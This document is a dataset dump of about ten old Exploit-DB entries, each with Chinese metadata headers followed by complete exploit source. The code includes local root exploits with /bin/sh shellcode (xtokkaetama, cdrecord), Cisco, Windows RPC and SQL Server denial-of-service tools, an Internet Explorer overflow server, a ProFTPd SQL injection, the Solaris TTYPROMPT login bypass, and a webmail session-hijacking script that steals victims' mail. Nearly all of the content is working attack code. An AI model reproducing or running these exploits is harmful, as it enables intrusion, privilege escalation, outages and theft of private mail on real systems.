QLWD/code_shield huggingface dataset:
标题: xtokkaetama 1.0b (RedHat 9.0) - Local Game EDB-ID: 72 CVE: 2003-0611 类型: LOCAL 平台: LINUX 发布日期: 2003-08-01 漏洞利用脚本: /*
*  xtokkaetama 1.0b local game exploit on Red Hat 9.0
*               Coded by brahma (31/07/2003)
*
*       http://www.debian.org/security/2003/dsa-356
*/


#include <stdlib.h>
#define RETADDR 0xbfffff11 
#define DEFAULT_BUFFER_SIZE 29
#define DEFAULT_EGG_SIZE 512 
#define NOP 0x90
#define BIN "/usr/X11R6/bin/xtokkaetama" 
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) eggsize = atoi(argv[2]);


if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = RETADDR; 
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);
execl(BIN,BIN,"-display",buff,NULL);
}



// milw0rm.com [2003-08-01] URL: https://www.exploit-db.com/exploits/72
标题: Cisco IOS - using hping Remote Denial of Service EDB-ID: 62 CVE: 2003-0567 类型: DOS 平台: HARDWARE 发布日期: 2003-07-22 漏洞利用脚本: #!/bin/tcsh -f
#
# Remote DoS exploit against the recent Cisco IOS vuln. Cisco doc. 44020
# Vulnerable versions - all Cisco devices running IOS.
# Requirements : tcsh, and hping.
# Get hping @ www.hping.org
# 
# And you know the best part? This script actually works! Unlike the few .c's
# floating around the net. Uses swipe for the protocol bit. Also, need to be uid=0,
# OR +s ciscodos.sh because of hping opening raw sockets.
#
# Example : 
# 
# root@evicted # ping 192.168.1.1
# PING 192.168.1.1 (192.168.1.1): 56 data bytes
# 64 bytes from 192.168.1.1: icmp_seq=0 ttl=150 time=1.287 ms
# 64 bytes from 192.168.1.1: icmp_seq=1 ttl=150 time=0.817 ms
# --- 192.168.1.1 ping statistics ---
# 2 packets transmitted, 2 packets received, 0% packet loss
# round-trip min/avg/max/std-dev = 0.817/1.052/1.287/0.235 ms
#
# root@evicted # ./ciscodos.sh 192.168.1.1 0
# HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes
# --- 192.168.1.1 hping statistic ---
# 19 packets tramitted, 0 packets received, 100% packet loss
# round-trip min/avg/max = 0.0/0.0/0.0 ms
# HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes
# --- 192.168.1.1 hping statistic ---
# 19 packets tramitted, 0 packets received, 100% packet loss
# round-trip min/avg/max = 0.0/0.0/0.0 ms
# -------------SNIP---------------
# root@evicted # ping 192.168.1.1
# PING 192.168.1.1 (192.168.1.1): 56 data bytes
# --- 192.168.1.1 ping statistics ---
# 2 packets transmitted, 0 packets received, 100% packet loss
# -------------SNIP---------------
#
# Coded by zerash@evicted.org 
#

if ($1 == "" || $2 == "") then
echo "usage: $0 <router hostname|address> <ttl>"
exit
endif

foreach protocol (53)
/usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto $protocol --count 76 --interval u250 --data 26
end

# milw0rm.com [2003-07-22] URL: https://www.exploit-db.com/exploits/62
标题: Solaris 2.6/7/8 - 'TTYPROMPT in.telnet' Remote Authentication Bypass EDB-ID: 57 CVE: 2001-0797 类型: REMOTE 平台: SOLARIS 发布日期: 2002-11-02 漏洞利用脚本: Solaris TTYPROMPT Security Vulnerability (Telnet)

This vulnerability is very simple to exploit, since it does not require 
any code to be compiled by an attacker. The vulnerability only requires 
the attacker to simply define the environment variable TTYPROMPT to a 
6-character string, inside telnet. Jonathan believes this overflows an 
integer inside login, which specifies whether the user has been 
authenticated (just a guess).

Once connected to the remote host, you must type the username, followed 
by 64 " c"s, and a literal "\n". You will then be logged in as the user 
without any password authentication. This should work with any account 
except root (unless remote root login is allowed). 

Example: 
coma% telnet 
telnet> environ define TTYPROMPT abcdef 
telnet> o localhost 

SunOS 5.8 

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n 
Last login: whenever 
$ whoami bin 

# milw0rm.com [2002-11-02] URL: https://www.exploit-db.com/exploits/57
标题: Cisco IOS - IPv4 Packets Denial of Service EDB-ID: 59 CVE: 2003-0567 类型: DOS 平台: HARDWARE 发布日期: 2003-07-18 漏洞利用脚本: /*
* ShadowChode - Cisco IOS IPv4 Packet Processing Denial of Service Exploit
*
* Ping target router/switch for TTL to host. Subtract that number from 255
* and use that TTL on the command line. The TTL must equal 0 or 1 when it
* reaches the target. The target must accept packets to the given target
* interface address and there are some other caveats.
*
* BROUGHT TO YOU BY THE LETTERS C AND D
*
* [L0cK]
*/

#include <stdio.h>
#include <sys/types.h>

#include "libnet.h"

#define MIN_PAYLOAD_LEN (26)

#define CLEANUP { \
libnet_destroy(lh); \
free(payload); \
}

int
main(int argc, char *argv[])
{
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *lh;
u_long dst_addr;
int ttl;
int payload_len;
char *payload;
libnet_ptag_t data_tag;
libnet_ptag_t ip_tag;
int i;
int len;
int protocols[] = { 53, 55, 77, 103 };
struct libnet_stats ls;

lh = libnet_init(LIBNET_RAW4, NULL, errbuf);

if (lh == NULL) {
(void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
exit(-1);
}

if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == -1)) {
(void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]);
libnet_destroy(lh);
exit(-1);
}

{ /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */
struct in_addr dst;

if (!inet_aton(argv[1], &dst)) {
perror("inet_aton");
libnet_destroy(lh);
exit(-1);
}

dst_addr = dst.s_addr;
}

ttl = atoi(argv[2]);

libnet_seed_prand(lh);

len = libnet_get_prand(LIBNET_PR8);

/* Mmmmm, suck up random amount of memory! */

payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;

payload = (char *) malloc(payload_len);

if (payload == NULL) {
perror("malloc");
libnet_destroy(lh);
exit(-1);
}

for (i = 0; i < payload_len; i++) {
payload[i] = i;
}

data_tag = LIBNET_PTAG_INITIALIZER;

data_tag = libnet_build_data(payload, payload_len, lh, data_tag);

if (data_tag == -1) {
(void) fprintf(stderr, "Can't build data block: %s\n", libnet_geterror(lh));
CLEANUP;
exit(-1);
}

ip_tag = LIBNET_PTAG_INITIALIZER;

for (i = 0; i < 4; i++) {
ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + payload_len, 0, libnet_get_prand(LIBNET_PRu16),
 0, ttl, protocols[i], 0, libnet_get_prand(LIBNET_PRu32), dst_addr, NULL, 0, lh, ip_tag);

if (ip_tag == -1) {
(void) fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(lh));
CLEANUP;
exit(-1);
}

len = libnet_write(lh);

if (len == -1) {
(void) fprintf(stderr, "Write error: %s\n", libnet_geterror(lh));
}
}

libnet_stats(lh, &ls);

(void) fprintf(stderr, "Packets sent: %ld\n"
"Packet errors: %ld\n"
"Bytes written: %ld\n",
ls.packets_sent, ls.packet_errors, ls.bytes_written);

CLEANUP;

return (0);
}

// milw0rm.com [2003-07-18] URL: https://www.exploit-db.com/exploits/59
标题: Microsoft Windows Server 2000 - RPC DCOM Interface Denial of Service EDB-ID: 61 CVE: 2003-0605 类型: DOS 平台: WINDOWS 发布日期: 2003-07-21 漏洞利用脚本: // This is a new unpatched vulnerability - NOT the MS03-026

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



void main(int argc,char ** argv)
{
    WSADATA WSAData;
 int i;
    SOCKET sock;
    SOCKADDR_IN addr_in;
 
 short port=135;
 unsigned char buf1[0x1000];
 printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
 printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
 printf("Welcome to http://www.xfocus.net\n");
 if(argc<2)
 {
  printf("useage:%s target\n",argv[0]);
exit(1);
 }


    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
 
 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
 if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
 {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return;
 }
 if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }

 i=recv(sock,buf1,1024,MSG_PEEK);
 if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }
 i=recv(sock,buf1,1024,MSG_PEEK);
}



// milw0rm.com [2003-07-21] URL: https://www.exploit-db.com/exploits/61
标题: Microsoft Windows SQL Server - Remote Denial of Service (MS03-031) EDB-ID: 65 CVE: 2003-0232 类型: DOS 平台: WINDOWS 发布日期: 2003-07-25 漏洞利用脚本: ////////////////////////////////////////////////////////////////
//
//  Microsoft SQL Server DoS Remote Exploit (MS03-031)
//      By refdom of xfocus
//
////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


void Usage()
{
 printf("******************************************\n");
 printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
 printf("\t Written by Refdom\n");
 printf("\t Email: refdom xfocus org\n");
 printf("\t Homepage: www.xfocus.org\n\n");
 printf("Usage: DOSMSSQL.exe server buffersize\n");
 printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
 printf("The buffersize depends on service pack level.\n");
 printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
 printf("when buffersize is 9000, the server can be crashed.\n");
 printf("\n");
 printf("*******************************************\n\n");
}


int main(int argc, char* argv[])
{
 char lpPipeName[50];
 char *lpBuffer = NULL;
 unsigned long ulSize = 0;

 BOOL bResult;
 DWORD dwWritten = 0, dwMode;
 HANDLE hPipe;

 Usage();

 printf("Starting...\n");

 if (argc != 3)
  goto Exit0;

 if (strlen(argv[1]) < 20)
 {
  sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
 }
 else
 {
  printf("Error!server\n");
  goto Exit0;
 }

 ulSize= atol(argv[2]);

 lpBuffer = (char*)malloc(ulSize + 2);
 if (NULL == lpBuffer)
 {
  printf("malloc error!\n");
  goto Exit0;
 }

 memset(lpBuffer, 0, ulSize + 2);
 memset(lpBuffer, 'A', ulSize);
 *lpBuffer = '\x12';
 *(lpBuffer + 1) = '\x01';
 *(lpBuffer + 2) = '\x00';

 printf("Connecting Server...\n");

 hPipe = CreateFile(lpPipeName,
     GENERIC_READ | GENERIC_WRITE,
     0,
     NULL,
     OPEN_EXISTING,
     0,
     NULL);
 if (INVALID_HANDLE_VALUE == hPipe)
 {
  printf("Error!Connect server!%d\n", GetLastError());
  goto Exit0;
 }

 dwMode = PIPE_READMODE_MESSAGE;
 bResult = SetNamedPipeHandleState(
  hPipe,  // pipe handle
  &dwMode,  // new pipe mode
  NULL,   // don't set maximum bytes
  NULL);  // don't set maximum time
 if (!bResult)
 {
  printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
  goto Exit0;
 }

 bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);

 if (!bResult)
 {
  printf("\n\tError!WriteFile.%d\n\n", GetLastError());
  printf("When see the error message, the target may be crashed!!\n\n");
  goto Exit0;
 }

Exit0:

 return 0;
}

// milw0rm.com [2003-07-25] URL: https://www.exploit-db.com/exploits/65
标题: Microsoft Internet Explorer - Object Tag (MS03-020) EDB-ID: 37 CVE: 2003-0344 类型: REMOTE 平台: WINDOWS 发布日期: 2003-06-07 漏洞利用脚本: #!/usr/bin/perl

#
#  Proof of concept exploit on IE 5.x - 6.x by Alumni
#  IE-Object longtype dynamic call oferflow
#
#  url://<$shellcode><'/'x48><jmp %ptr_sh>
#  the flaw actually exists in URLMON.DLL when converting backslashes
#  to wide char, this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'.
# 
#  To exploit:  i)  start server perl script;
#      ii) connect to http-service using IE/5.x.
#                   a) the shellcode size is limited up to 56 bytes;
#      b) the '$ret' may differ as well as the image base of KERNEL32.DLL;
#      c) to avoid multiple encoding the shellcode is given 'as is' with help of JScript.
#

use IO::Socket;

$port = 80;
$server = IO::Socket::INET->new (LocalPort => $port,
    Type =>SOCK_STREAM,
    Reuse => 1,
    Listen => $port) or die("Couldnt't create 
server socket\n");


$shellcode =  "\x33\xdb".  # xor ebx, ebx
  "\x8b\xd4".  # mov edx, esp
  "\x80\xc6\xff".  # add dh, 0xFF
  "\xc7\x42\xfc\x63\x6d". # mov dword ptr[edx-4], 0x01646D63 
("cmd\x01")
  "\x64\x01".  #
  "\x88\x5a\xff".  # mov byte ptr[edx-1], bl
  "\x8d\x42\xfc".  # lea eax, [edx-4]
  "\x8b\xf5".  # mov esi, ebp
  "\x56\x52".  # push esi; push edx
  "\x53\x53\x53\x53\x53\x53". # push ebx
  "\x50\x53".  # push eax; push ebx
  "\xb8\x41\x77\xf7\xbf". # mov eax, 0xBFF77741 ~= 
CreateProcessA
  "\xff\xd0".  # call eax
  "\xb8\xf8\xd4\xf8\xbf". # mov eax, 0xBFF8D4F8 ~= 
ExitProcess
  "\xff\xd0".  # call eax
  "\xcc";   # int 3

$nop = "\x90";
$ret = "\\xAB\\x5D\\x58";


while ($client = $server->accept()) {
 while (<$client>) {
  if ($_ =~ /^(\x0D\x0A)/) {

print $client <<END_DATA;
HTTP/1.0 200 Ok\r
Content-Type: text/html\r
\r
&lt;script&gt;\r
 var mins = 56;\r
 var size = 48;\r
 var sploit = "$shellcode";\r
 var strNop = "$nop";\r
 var strObj = '&lt;object type="';\r
 for (i=0;i<mins-sploit.length;i++) strObj += strNop;\r
 strObj += sploit;\r
 for (i=0;i<size;i++) strObj += '/';\r
 strObj += "CCCCCCCCDDDDDDDD";\r
 strObj += "$ret";\r
 strObj += '">Hello&lt;/object&gt;';\r
 alert(strObj);\r
 document.write(strObj);\r
&lt;/script&gt;\r
END_DATA
   close($client);

  }
 }
}

close($server);

# milw0rm.com [2003-06-07] URL: https://www.exploit-db.com/exploits/37
标题: ProFTPd 1.2.9 RC1 - 'mod_sql' SQL Injection EDB-ID: 43 CVE: 2003-0500 类型: REMOTE 平台: LINUX 发布日期: 2003-06-19 漏洞利用脚本: #!/usr/bin/perl
# ProFTPD 1.2.9 rc1 mod_sql SQL Injection remote Exploit
# Spaine - 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = 
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION 
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' 
WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;

# milw0rm.com [2003-06-19] URL: https://www.exploit-db.com/exploits/43
标题: CDRTools CDRecord 2.0 (Mandrake / Slackware) - Local Privilege Escalation EDB-ID: 31 CVE: 2003-0289 类型: LOCAL 平台: LINUX 发布日期: 2003-05-14 漏洞利用脚本: #!/usr/bin/perl
###########################################################
# Cdrecord version 2.0 and < local root exploit.
#
#
#   [wsxz@localhost buffer]$ perl priv8cdr.pl 4
#   Using target number 4
#   Using Mr .dtors 0x808c82c
#   Cdrecord 2.0 (i586-mandrake-linux-gnu)
#
#   scsibus: -1 target: -1 lun: -1
#   Warning: Open by 'devname' is unintentional and not supported.
#   /usr/bin/cdrecord: No such file or directory. Cannot open '. Cannot open SCSI driver.
#   /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'. Make sure you are root.
#   /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord dev=help'.
#   sh-2.05b# id
#   uid=0(root) gid=0(root) groups=503(wsxz)
#   sh-2.05b#
#####################################################

      $shellcode =
                    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
      "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
                    "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
                    "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
                    "\xff\xff/bin/sh";

      $cdrecordpath = "/usr/bin/cdrecord";
      $nop = "\x90"; # x86 NOP
                    $offset = 0; # Default offset to try.


     if (@ARGV == 1 || @ARGV == 2) {
                    $target = $ARGV[0];
                    $offset = $ARGV[1];
      }else{
      printf(" Priv8security.com Cdrecord local root exploit!!\n");
      printf(" usage: $0 target\n");
      printf(" List of targets:\n");
      printf("      1 - Linux Mandrake 8.2 Cdrecord 1.11a15\n");
                    printf("      2 - Linux Mandrake 9.0 Cdrecord 1.11a32\n");
                    printf("      3 - Linux Slackware 8.1 Cdrecord 1.11a24 not suid by default!!!\n");
      printf("      4 - Linux Mandrake 9.1 Cdrecord 2.0\n");
      exit(1);
      }

     if ( $target eq "1" ) {
                   $retword = 0x0807af38; #Mr  .dtors ;)
     $fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
      }
     if ( $target eq "2" ) {
                  # $retword = 0x08084578; #.dtors
                   $retword = 0x08084684; #.GOT exit
     $fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
      }
      if ( $target eq "3" ) {
                   $retword = 0x0807f658;
                   $fmtstring =  "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
      }
       if ( $target eq "4" ) {
                   $retword = 0x0808c82c; #.GOT exit
     $fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
      }

      printf("Using target number %d\n", $target);
                    printf("Using Mr .dtors 0x%x\n",$retword);

      $new_retword = pack('l', ($retword));
      $new_retshell = pack('l', ($retshell));
                    $buffer2 = $new_retword;
                    $buffer2 .= $nop x 150;
                    $buffer2 .= $shellcode;
                    $buffer2 .= $fmtstring;

      exec("$cdrecordpath dev='$buffer2' '$cdrecordpath'");


# milw0rm.com [2003-05-14] URL: https://www.exploit-db.com/exploits/31
标题: CommuniGate Pro Webmail 4.0.6 - Session Hijacking EDB-ID: 27 CVE: 2003-1481 类型: REMOTE 平台: LINUX 发布日期: 2003-05-05 漏洞利用脚本: #!/usr/bin/perl

# Below is exploit code. Place it into cgi-bin, then
# (recommended) make symlink from
# DocumentRoot/AnyImage.gif to shj.pl, configure
# at least $url variable, and possible other vars and
# send victim HTML message with img src to your
# AnyImage.gif. When victim will read message, script
# will download messages 1..10 from his mailbox (if
# sucessfull).

# Script will work even if "require fixed address" option
# enabled (set $abuseproxy=1), but it needs access to
# users proxy (IP will be detected automatically). So, if
# your victim uses same corporate proxy as you, then 
# you're lucky, you can own his mailbox! :)

# If victim uses HTTPS to access CGP webmail, use
# https:// link to image. some browsers will still send
# HTTP_REFERER if _both_ sites are https.
#
# session hijacking and mail downloading exploit for CommuniGatePro 4.0.6
#
# Yaroslav Polyakov. xenon@sysAttack.com www.sysAttack.com
#

use LWP::UserAgent;

# configuration vars
$logfile="/tmp/log";
$url="http://COMMUNIGATE/Session/%SID%/Message.wssp?Mailbox=INBOX&MSG=%N%";
$SIDREGEXP="Session/([0-9a-zA-Z\-]+)/";
$msglonum=1;
$msghinum=10;
$msgprefix="/tmp/hijacked-";
$abuseproxy=1;
$proxyport=3128;

sub printgif
{
$gif1x1="\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\xff\x00\xc0\xc0\xc0
\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00
\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b";


  print "Content-Type: image/gif\n";
  print "\n";
  print "$gif1x1";
}


open LOG, "> $logfile" || die("cant write to my log");
printgif;



$remote=$ENV{'REMOTE_ADDR'};
$referer=$ENV{'HTTP_REFERER'};
print LOG "remote: $remote\nreferer: $referer\n";
# if($referer=~/SID=([0-9a-zA-Z\-]+)/){
if($referer=~/$SIDREGEXP/){
                $SID=$1;
                print LOG "SID: $SID\n";
                }else{
                                print LOG "sorry, cant
find out SID\n";
                                exit;
                }



# create request
my $ua = new LWP::UserAgent;
$ua->agent("shj - sysAttack CGP session HiJack/1.0");

if($abuseproxy){
                print LOG "set proxy
http://$remote:$proxyport/\n";
                $ua->proxy('http',
"http://$remote:$proxyport/");
}

for($index=$msglonum;$index<=$msghinum;$index++){
               $eurl=$url;
                $eurl =~ s/%N%/$index/;
                $eurl =~ s/%SID%/$SID/;
                print LOG "fetching $eurl\n";
                $request = new HTTP::Request("GET", $eurl);
                $response = $ua->request($request);
                if($response){
                                print LOG
$response->code." ".$response->message
."\n";
                                open MSG, ">
$msgprefix$index" or die('cant crea
te $msgprefix$index');
                                print MSG
$response->content;
                                close MSG;
                }else{
                                print LOG "undefined
response\n";
                }
}
close LOG;



# milw0rm.com [2003-05-05] URL: https://www.exploit-db.com/exploits/27